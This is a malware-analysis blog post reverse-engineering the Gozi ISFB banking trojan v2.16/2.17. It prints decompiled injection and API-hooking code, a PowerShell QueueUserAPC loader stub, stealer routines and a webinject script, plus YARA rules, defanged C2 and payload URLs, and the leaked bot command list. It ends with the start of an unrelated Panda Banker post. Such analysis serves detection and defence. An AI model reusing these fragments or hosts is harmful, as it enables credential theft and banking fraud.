Let’s Learn: In-Depth Reversing of Recent Gozi ISFB Banking Malware Version 2.16/2.17 & "loader.dll/client.dll"

Goal: Reverse engineer and analyze one of the latest Gozi “ISFB” ( also called “Ursnif'” amongst various researchers) banking malware variants focusing on the one of the latest “client.dll” 32-bit (x86) one. 

https://platform.twitter.com/widgets.js Malware:
Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c)
Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438)
Leaked  “client.dll” (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997)
Unpacked Injected “client.dll” (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9)
Other observed “client.dll”:
*Unpacked Injected “client.dll” (July 31, 2018)(MD5: 22b748df15e580b10c984f691f7c0fa9)
*Unpacked “loader.dll” (August 20, 2018)(MD5: 3ec8607de7b0b194f19962d3e987031c)
*Unpacked Injected “client.dll” (August 20, 2018)(MD5: 51d010dbca2aa9031b4d12312b56637b)

I. Malware Campaign Spreading "ISFB" Banker  
II. Background on ISFB Banker
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
IV. Differences Between Leaked ISFB and ISFB 2.16/2.17 Variants
V. Tor Onion Library
VI. Stealer Methods
VII. Hooking Method
VIII. Process Injection
IX. Inject Processor
X. Yara Signature:
A. ISFB v2.17 "loader.dll" (32-bit) version
B. ISFB v2.16/2.17 "client.dll" (32-bit) version
XI. Addendum
A. Extracted ISFB Configuration
B. Hooked APIs
C. Original Commands from Leaked ISFB v2.13
D. ISFB "RM3" Function and Debug Statements

I. Malware Campaign Spreading “ISFB” Banker
While reviewing one of the latest malware campaign spreading the notable ISFB banker, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions. 
II. Background on ISFB Banker
ISFB Banker malware is one of the oldest and one of the most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable “76Service,” “CRM,” and “Project Blitzkrieg” criminal business clubs targeting customers of financial institutions. I highly recommend reading Maciej Kotowiez’s paper titled “ISFB: Still Live and Kicking” before learning more about ISFB banker. 
The ISFB version “” (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub.
In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices:

Minimalistic ISFB: $12,000 USD
Keylogger support: $3,0000 USD
SOCKS support: $3,000 USD
Stealer support: $5,000 USD
Anti-Rapport: $4,000 USD
VNC support: $8,000 USD
Backconnect support: $3,000 USD

The original client dropper/loader module was called originally “CRM” as part of the Gozi ISFB project. It is notable that the Gozi project originally included the “IAP” web panel project and the “ICS” configurator. It is worth to highlight that there are multiple groups that use the ISFB toolkit including the ones that developed their own  “Dreambot” web panel. Fortinet did interesting coverage of the differences between “Dreambot” and the leaked ISFB (including its “joined files” (or “FJ”) struct). 
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
ISFB banker also contains a simple injected “loader.dll” after the cryptor routine that is used to launch the execution of the malware.
The unpacked ISFB loader is small in size of just 44 kb with three imported DLLs.

Notably, this loader was observed for observed heavily leveraging PowerShell scripting for registry persistence functionality via the hardcoded cmd command invoking PowerShell:

powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty\

For example, the loader creates a PowerShell script in hex in the registry that can be decoded  that leverages QueueUserAPC bytecode injection to process the next stage as follows:

$qbhuthvrmyf = "[DllImport("kernel32")]
public static extern IntPtr GetCurrentProcess();
public static extern
IntPtr VirtualAllocEx(IntPtr wwj,IntPtr lxffofo,uint aoconcm,uint iuk,uint \
$xuisvutgkgo=Add-Type -memberDefinition $qbhuthvrmyf -Name 'qyaaexcigm' \
-namespace Win32Functions -passthru;
public static extern IntPtr GetCurrentThreadId();
public static extern IntPtr OpenThread(uint xwocdx,uint adflgvt,IntPtr xbxe);
public static extern uint QueueUserAPC(IntPtr ijaq, IntPtr twsxxmyebm,\
 IntPtr xfnggdcn);
public static extern void SleepEx(uint ocqxap,uint cpvoeuen);";
$eeihwxjq=Add-Type -memberDefinition $ujppmfuuik -Name 'btdpmiijeg' -namespace \
 Win32Functions -passthru;

The “loader” module communicates over HTTP to a separated ISFB server, which hosts the “client” modules (32-bit and 64-bit ones) and the above PowerShell script called “run.”
Additionally, on July 30, 2018, one ISFB group released the “client.dll” with debugging on. This version 3.0 with build ID “613” revealed that that the loader was called “RM3”.

[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s

The main internal “loader.dll” control functions with the respective description are as follows:

RM3 "loader.dll' FunctionFunction Description
LdrStartLoaderProcessstarts "loader.dll" process
Ldr2LoadInichecks "LOADER.INI" signature check
Ldr2LoadFileretrieves modules over HTTP and checks for signature
LdrIsElevatedchecks the host integrity level and if it has elevated privileges
Ldr2GetLoaderModuleretrieves and loads the startup module
Ldr2SaveModulesToRegistrysaves modules to the registry and creates registry hives
Ldr2SaveAllModulessaves 32-bit and 64-bit "client.dll" modules to the registry
Ldr2MakeRunRecordcreates an autorun value and makes sure the memory is allocated.
Ldr2RegEnumCallbackenumerates and writes autorun value and sets
Ldr2MakeEncodedImagecreates an encoded image using the public key with Serpent and checks for "BlExecuteDllImage" export
ReplaceSubStrparses and replaces strings
Ldr2SetupModulestries to elevate privileges and loads modules, walks the registry, and and restarts modules as necessary
Ldr2LoadModulestries to load modules
Ldr2DisableIeDialogsdisables Internet Explorer dialog since it leverages it for downloading modules
Ldr2LoaderMainstarts the main loader function

All of the modules are encoded with Serpent encryption and can be decoded using its public key.
Subsequently, the malware would subsequently install the client.dll via injecting it into explorer.exe and storing a copy of it in the registry. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL “kernel32.dll” and “ntdll.dll” making malware analysis just a little bit more complicated. 
IV. Differences Between Leaked ISFB and Latest ISFB Variant
I decided to take a look at the leaked code and review their compiled client DLL code. It is notable that the leaked ISFB had the version “″ (February 3, 2015), while one of the latest ISFB variants had a version of “2.16” (April 14, 2018) with the build id “994.” The observed botnet ID for the latest sample was “1000.” It is worth noting that since ISFB also has version “2.17” (August 20, 2018), which improved some code structure from the previous version and added @KILL@=* inject control.
The unpacked 2.16 client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size. The bot also stores “Client32” and “Client64” in FJ struct.
The newer sample leverages “.bss” section and unpacks the code via the following pseudo-coded C++ function:

///////// ISFB variant ".bss" DecodeFunction //////////////////
int __stdcall bss_decodeFunction(int a1)
v15 = 0;
String1 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
lstrcpynA(&String1, ".bss", 8);
v1 = decoder(a1, (int)&String1);
v2 = v1;
if ( v1 )
v3 = *(_DWORD *)(v1 + 12);
if ( v3 && *(_DWORD *)(v1 + 16) )
v4 = *(_DWORD *)(v1 + 16);
v5 = *(_DWORD *)"018";
v6 = (*(_DWORD *)"14 2018" ^ *(_DWORD *)"Apr 14 2018" ^ (v4 + v3)) + 14;
v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u);
v8 = v7;
if ( v7 )
ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1);
// "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
v9 = *(_DWORD *)(v2 + 12);
dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9)
+ *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU)
- *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU);
if ( dword_1002B0D4 == 0x736C6E70 )
memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16));
v15 = 12;
VirtualFree(v8, 0, 0x8000u);

It is important to investigate binary-level and function-level differences between the leaked earlier version of ISFB and the recent unpacked one before taking a deeper dive into the newer version.

The latest v2.16 version contains the exact same static import table as the original leaked v2.13 one with the additional 4 ntdll.dll (e.g., new and changed APIs are NtQuerySystemInformation, RtlUpcaseUnicodeString, RtlImageNtHeader, _snprintf, etc.) and 7 kernel32.dll imports.
In order to identify and highlight differences, I decided to utilize an open-source plugin tool “Diaphora” for IDA leveraging its decompiler mode.
The binary diff analysis between the latest client.dll versus the leaked one version shows the following results:

Full matches: 259 functions
Partial matches: 72 functions
Unreliable matches: 126 functions
Unmatched functions in the latest client.dll: 21 functions
Unmatched functions in the leaked client.dll: 188 functions

Some of the differences in the latest client DLL include additions in the URI template such as follows with “/images/” URI path, for example:


By and large, in general, the ISFB botserver communication channels relies on four major types of communication:

Hardcoded domains
Domain Generation Algorithm (DGA)
Tor Onion Communication
Peer-to-Peer Protocol (P2P)
The URI requests are linked to the same path “soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x”:

".gif" - obtain a new task, which is linked to "LastTask" registry check
".jpeg" - obtain a new config, which saves the new config.
It is linked to "Main" registry check, which saves the config.
The newer version has a different user-agent string as “Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36” versus the leaked one with “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s).”

By and large, the ISFB variant bot heavily relies on the registry for storage and queries of tasks including the following registry query checks for the values of interest:

#define szDataRegDataValue_src     _T("Main")
#define szDataRegBlockValue_src _T("Block")
#define szDataRegTemplate_src _T("Temp")
#define szDataRegClientId_src _T("Client")
#define szDataRegIniValue_src _T("Ini")
#define szDataRegKeysValue_src _T("Keys")
#define szDataRegKillValue_src _T("Kill")
#define szDataRegExeValue_src      _T("Install")
#define szDataRegTaskValue_src _T("LastTask")
//#define szDataRegConfigValue_src _T("LastConfig")
#define szDataRegTorValue_src _T("TorClient")
//#define szDataRegExecValue_src _T("Exec")
//#define szDataRegOperaHook_src _T("OpHook")
//#define szDataRegCrhromeHook_src _T("CrHook")

The bot also checks the config settings for “LastTask”,  for example in the registry via the following “GetLastTask” proc near prototype in ASM:

;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;;
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+lpMem]
push eax ; int
xor ebx, ebx
push offset aLasttask ; "LastTask"
mov [ebp+var_14], ebx
call RegQueryValueExFunction
cmp eax, ebx
jnz short loc_100036CC
cmp [ebp+cbData], 8
mov eax, [ebp+lpMem]
jnz short loc_100036BC
mov ecx, [eax]
mov dword ptr [ebp+Data], ecx
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
jmp short loc_10003BA9

Additionally, the latest ISFB variant deploys system checks in addition to the usual software enumeration via HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\ for “net view” command (view of mapped devices, shares) as well as “nslookup myip.opendns.com resolver1.opendns.com” (view of external IP address), which are new to the malware variant.

IV. Tor Onion Library
This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for botserver communications
The downloaded Tor DLL contains the program database as follows:
Additionally, the Tor DLL library contained the following four DLL exports:

Name Address Ordinal
TorCloseRequest 100022D0 1
TorCompleteRequest 10002210 2
TorOpenRequest 10001DF0 3
TorSendRequest 10002100 4
DllEntryPoint 10184402 [main entry]
The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the “file://” path.
;;;;;;;;;;;;; ISFB Gozi Tor "file://" & Communicator Check ;;;;;;;
push ebp ;
mov ebp, esp
push ecx
push ecx ; lpSrch
push ebx ; lpFirst
push esi
mov esi, StrStrIA
push edi
mov edi, eax
push offset Srch ; "file://"
push edi ; lpFirst
call esi ; StrStrIA
xor ebx, ebx
cmp eax, edi
jz short loc_10003B98
push offset a_onion ; ".onion/"
push edi ; lpFirst
call esi ; StrStrIA
test eax, eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+lpMem]
push eax
jz short loc_10003B90
push 1
push ebx
push ebx
push ebx
push ebx
push dword_1002B160
push edi
call sub_1000E0EE
jmp short loc_10003BA9

The following pseudo-coded instruction is responsible for storing the "TorClient" in registry:
/////// ISFB "TorClient" RegistrySetup excerpt ////////////////////////
if ( cbData > 0x40000 )
v8 = GetTempFileNameA_getcurrentthread(0);
if ( v8 )
v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7);
if ( !v2 )
v9 = lstrlenA(v8) + 1;
rol4(v8, v9, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)v8, v9, 3u);//"TorClient"
HeapFree(hHeap, 0, (LPVOID)v8);
v2 = 8;
rol4(ImageBase, cbData, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)ImageBase, v7, 3u);//TorClient"
if ( ImageBase )
HeapFree(hHeap, 0, ImageBase);
return v2;

V. Stealer Methods
Finally, ISFB leverages multiple functionalities to retrieve certificates, extract cookie information, steal email accounts stored locally.
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.

The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server. The function also contained a unique string “ISFB.”

/////// ISFB "GetCertificates" to .pfx ///////////////////////////////
CertExportToPfx("My", CertFullName);
CertExportToPfx("AddressBook", CertFullName);
CertExportToPfx("AuthRoot", CertFullName);
CertExportToPfx("CertificateAuthority", CertFullName);
CertExportToPfx("Disallowed", CertFullName);
CertExportToPfx("Root", CertFullName);
CertExportToPfx("TrustedPeople", CertFullName);
CertExportToPfx("TrustedPublisher", CertFullName);

ISFB tries to obtain cookies from the following browsers, for example:

Internet Explorer (local search as "*.txt" in APPDATA\Low)
Mozilla Firefox (local search as Mozilla\Firefox for "cookies.sqlite")

The ISFB variant also searches for “*.sol” files associated with Flash Player cookies.
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails and passwords and stores them in this following format:

type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
Additionally, it issues a command “cmd.exe” /C pause mail” to presumably unlock the retrieval of email credentials from applications.
VI. Hooking Method
While “relaxing” SPDY browser security (e.g., via “user_pref(“network.http.spdy.enabled”, false)” in Mozilla Firefox’s “prefs.js” file), ISFB uses their own user-mode hooking method of various API calls.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.

The malware also hooks LoadLibraryA, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess* (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
// ISFB Banker 'EnableHook' with "0xe9" offset jmp ///
v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12);
lpAddress = v4;
if ( v4 )
flNewProtect = 0;
if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) )
v5 = flOldProtect;
*(_DWORD *)(flOldProtect + 0x18) = a1;
*(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4;
*(_DWORD *)(v5 + 12) = v4;
*(_DWORD *)(v5 + 16) = *(_DWORD *)v4;
v14 = HookVirtual_recurs(a2, v5, a1, a3);
if ( v14 == 1 )
if ( dword_1002B070 )
v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8));
if ( v6 )
{ // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtect
if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) )
*(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5;
*(_BYTE *)v6 = 0xE9u; // "0xe9" opcode for a jump with 32-bit relative
*(_DWORD *)(v5 + 0x14) = v6;
*(_DWORD *)(a1 + 0xC) = v6;
if ( flOldProtect != 0x40 )
flOldProtect = 0x20;
VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect);
*(_DWORD *)lpAddress = *(_DWORD *)(v5 + 20) - a2;
VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect);
*(_DWORD *)(v5 + 28) |= 0x102u;
if ( *(_WORD *)(v5 + 28) & 0x200 )
VirtualProtectMain(v7, (const CHAR *)v12, v5);
v8 = dword_1002B218;
*(_DWORD *)v5 = dword_1002B218;
*(_DWORD *)(v5 + 4) = &dword_1002B218;
v8[1] = v5;
dword_1002B218 = (LPVOID)v5;
*(_DWORD *)(a1 + 16) = a2 + *(_DWORD *)(v5 + 16);
v14 = 0;
v9 = ZwQueryInformationProcess2(a2);
VII. Process Injection
One of the notable malware components is its process injection routine that deals with “client” DLL injection. The process injection works around CreateProcess* hooks set up by the malware.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (0x4) and the subsequent process injection call. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.

ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory process original entry point (OEP) and wait until it loads and then restores unmapping the executable in the process memory and resuming/running it in memory. This method is also referenced in the leaked ISFB.

// ISFB Banker CreateProcess "OEP" Patch Until Main ///
signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void *a4)

lpProcessInformation_thread = a1;
v15 = 0;
memset(&v16, 0, 0x2C8u);
hProcess = *(HANDLE *)lpProcessInformation_thread;
v6 = *(void **)lpProcessInformation_thread;
origin_patch = 0xCCCCFEEB;
intArchitect = 0;
if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86
intArchitect = 0x10;
else if ( orig_patch & 1 )
oep = GetProcessEntry(a2);
goto LABEL_19;
v15 = 0x10007;
oep_1 = a4;
if ( !a4 )
oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0(*(HANDLE *)lpProcessInformation_thread);
if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead)
&& NumberOfBytesRead == 4
&& PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch
v10 = 3000;
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 )
v10 = 0x64;
SuspendThread(*(HANDLE *)(lpProcessInformation_thread + 4));
v10 -= 0x64;
RtlNtStatusToDosErrorMain(*(_DWORD *)(lpProcessInformation_thread + 4), (int)&v15);
} // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory
while ( v10 > 0 && v17 != oep_1 );
if ( v17 == oep_1 )
oep = injectImageUnmap(a2, (HANDLE *)lpProcessInformation_thread, intArchitect, 0);
oep = 0x261;
PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes
if ( oep != 0xFFFFFFFF )
goto LABEL_21;
oep = GetLastError();
if ( !(a3 & 4) )
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
return oep;
VIII. Inject Processor
The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control:

@ID@  -> bot id (victim host identity)   
@GROUP@ -> group id (group id of the bot)
@RANDSTR@ -> random string
@URL=*@ -> targeted financial institutions
@CONFIG=*@ -> configuration
@VIDEO=*@ -> video to record once the victim visit the page of interest
@SOCKS=*@ -> connect SOCKS server
@KILL=*@ -> kill command (only with 2.17 version)
@VNC=*@ -> connect VNC
As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example.

////////////////// ISFB WebInject Config Example ////////
"<!DOCTYPE***<script type='text/javascript'\
id='script_id' src='/@ID@/script.js?\

One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters { @VIDEO@=7,180 }. Indeed, ISFB utilizes imported Avifil32.dll and various AVI* functions to record data to a stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud.
Moreover, ISFB also uses known webinject scripts developed by another actor. The scripts are called “_brows.cap” with the script name . The example of the observed inject is as follows:

////////////////// Inject Excerpt ///////////////////////
var wdebug = 0;
var replacer_run_count = 0;
var bot_nick = "@ID@";
var account_id;
''.fAkEstyle.setAttribute("type", "text/css");
if(''.fAkEstyle.styleSheet){// IE
''.fAkEstyle.styleSheet.cssText = ''.fAkEcss;
} else {// w3c
String.prototype.fAkEcssText = document.createTextNode(''.fAkEcss);

document.getElementsByTagName('title').length>0?document.getElementsByTagName('title')[0].innerHTML:"doc. have frame";
+"&doc_url="+encodeURIComponent(document.location.href)+"&doc_title="+encodeURIComponent(''.fAkETitle)+"&r="+Number(new Date()),
function(){document.body.style.visibility = "visible";},"script","js_com_1_qweqwe",false);
document.body.style.visibility = "visible";

IX. Yara Signature
A. ISFB v2.17 “loader.dll” (32-bit) version

rule crime_win32_isfb_v217_loader_dll {
description = "Detects ISFB loader.dll version 2.17 Aug 20, 2018"
author = "@VK_Intel"
date = "2018-08-28"
hash1 = "d3254467f310f5de9387119d9ec572f045286df70747ca97d99a993eca3efa23"
$x1 = "/C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\\%S').%s))" fullword wide
$s0 = ".bss" fullword wide
$s1 = "GetBinaryValue" fullword wide
$s2 = "loader.dll" fullword ascii
$s3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" fullword wide
$s4 = "/C ping localhost -n %u && del \"%s\"" fullword wide
( uint16(0) == 0x5a4d and
filesize < 100KB and
pe.imphash() == "d7f06c756511270cacf97147c81ebb0b" and
( 1 of ($x*) or 4 of them )
) or ( 5 of them )

B. ISFB v2.16/2.17 “client.dll” (32-bit) version

rule crime_win32_isfb_v216_217__client_dll {
description = "Detecs Unpacked Gozi ISFB v. 2.16 variant client32.dll"
author = "@VK_Intel"
date = "2018-08-25"
hash1 = "5df8714c8ab4675681d45f5cc1408ce734010ccf179fb6386304e6194568b60a"
$x1 = ".bss" fullword ascii
$s1 = "PluginRegisterCallbacks" fullword ascii
$s2 = "Client" fullword ascii
$s3 = "TorClient" fullword ascii
$s4 = "client.dll" fullword ascii
$s5 = ".jpeg" fullword ascii
$s6 = ".bmp" fullword ascii
$s7 = "nslookup myip.oOutlinpendns.com resolver1.opendns.com" fullword ascii
( uint16(0) == 0x5a4d and
filesize < 500KB and
( 1 of ($x*) and 4 of them )
) or ( all of them )

X. Addendum
A. Extracted ISFB Configuration*

Config Fail Timeout     [u'1200']
Send Timeout [u'240']
Knocker Timeout [u'300']
DGA Season [u'10']
Botnet ID [u'1000']
DGA TLDs [[u'com', u'ru', u'org']]
IP Service [u'curlmyip[.]net']
BC Timeout [u'10']
Timer [u'20']
Server [u'110']
64-bit DLL URLs [[u'zjsgyyq[.]com/leader/pdf.zip', u'portaldobomretiro[.]net/wp-admin/network/2.bin', u'colourshield[.]com/m1/pdd.rtf', u'mukeshjshah[.]com/admuin/litecoin.rar', u'petras[.]name/fotos/zek.dmg', u'sbmpowisle.dag[.]pl/js/989999.sh', u'cdn.robatop[.]at/jvassets/zarch/xx.dmg']]
Encryption key [u'Nf6lU8d5X0i1Wr7V']
Value 11 [u'1']
Config Timeout [u'1200']
DGA CRC [u'0x4eb7d2ca']
Domains [[u'inc.robatop[.]at/wpapi', u'torafy[.]cn/wpapi', u'app.tohio[.]at/wpapi', u'scr.tohio[.]at/wpapi', u'yraco[.]cn/wpapi', u'poi.robatop[.]at/wpapi', u'login.cdrome[.]at/wpapi', u'az.popdel[.]at/wpapi', u'io.ledal[.]at/wpapi', u'in.ledal[.]at/wpapi', u'api.galio[.]at/wpapi', u'ssl.lottos[.]at/wpapi', u'harent[.]cn/wpapi']]
DGA Base URL [u'constitution[.]org/usdeclar.txt']
Task Timeout [u'240']
TOR Domains [[u'4fsq3wnmms6xqybt[.]onion/wpapi', u'em2eddryi6ptkcnh[.]onion/wpapi', u'nap7zb4gtnzwmxsv[.]onion/wpapi', u't7yz3cihrrzalznq[.]onion/wpapi']]
32-bit DLL URLs [u'zjsgyyq[.]com/leader/doc.zip', u'portaldobomretiro[.]net/wp-admin/network/1.bin', u'colourshield[.]com/m1/dll.rtf', u'mukeshjshah[.]com/admuin/coin.rar', u'petras[.]name/fotos/dash.dmg', u'sbmpowisle.dag[.]pl/js/757575.sh', u'cdn.robatop[.]at/jvassets/zarch/x.rar']]

*Cape Sandbox
B. Hooked APIs

Mozilla Firefox:

Internet Explorer:

Windows Explorer:

Windows Explorer:

Google Chrome & Opera Browser:


C. Original Commands from Leaked ISFB v2.13* in Russian

GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows. 
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES=* - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.

SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер

GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные

SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра

URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.

LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем

D. ISFB client.dll “RM3” Function and Debug Statements

[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s
[%s:%u] Attached LOADER.INI signature check failed, error %u
[%s:%u] No attached LOADER.INI found
[%s:%u] File 0x%X of %u bytes is received over HTTP
[%s:%u] File 0x%X has an invalid signature
[%s:%u] Failed to receive file 0x%X, error %u
[%s:%u] IsElevated = %u, IntegrityLevel = %u
[%s:%u] A startup module of %u bytes is received
[%s:%u] Invalid STARTUP module is supplied
[%s:%u] Failed to load a STARTUP module, error %u
[%s:%u] Error 0x%X writing value "%S" of key "%S"
[%s:%u] Error 0x%X creating 0x%X hive subkey: "%S"
[%s:%u] Error %u writing 64-bit modules to the key "%S"
[%s:%u] Error %u writing 32-bit modules to the key "%S"
[%s:%u] Error %u creating hive 0x%X key "%S"
[%s:%u] Not enough memory (%u)
[%s:%u] Error %u writing autorun value of "%S"
[%s:%u] Error %u writing startup script to the regstry value: "%S\%S"
[%s:%u] Error %u saving all module to key: "%S"
[%s:%u] Invalid PE/PEX module BL.DLL
[%s:%u] BlExecuteDllImage() export is not found
[%s:%u] Invalid PE/PEX module size of BL.DLL
[%s:%u] Integrity level: 0x%x, required elevation
[%s:%u] Elevation failed
[%s:%u] Loading a startup module
[%s:%u] Waiting for %u seconds
[%s:%u] Walking through the registry
[%s:%u] Walking through the registry failed, error %u
[%s:%u] Failed to make a startup script, error %u
[%s:%u] Restarting the loader executable from "%S"
[%s:%u] Successfully restarted
[%s:%u] Failed to restart the loader executable, error %u
[%s:%u] An empty page received, exiting the loader
[%s:%u] Error %u(0x%X) downloading module 0x%X of %u
[%s:%u] Error 0x%X writing key value: "%S\%S"
[%s:%u] Staying idle for %u seconds
[%s:%u] Main loop is active, loading modules
[%s:%u] Main loop is ended. %u modules are loaded, status: %u
[%s:%u] The shutdown event fired or an error occured, exiting
[%s:%u] Error %u creating the main loop timer

Let’s Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules

Goal: Reverse engineer the latest Panda Banker malware and detail the modules associated with the popular malware. The research aims to  fill researcher gaps with the detailed information related to Panda modules and their detection.

https://platform.twitter.com/widgets.js Source
Panda Loader packed (MD5: 97820f5167ede76dc466efdd239a5ba4)
Panda Core unpacked(MD5: 08124df7f51280af3c99360e0a80e9c8)
Panda LibInject x86 (32-bit) DLL Module “libinject.dll” (MD5: eb92c528455f5b14dd971e7126f6271f)
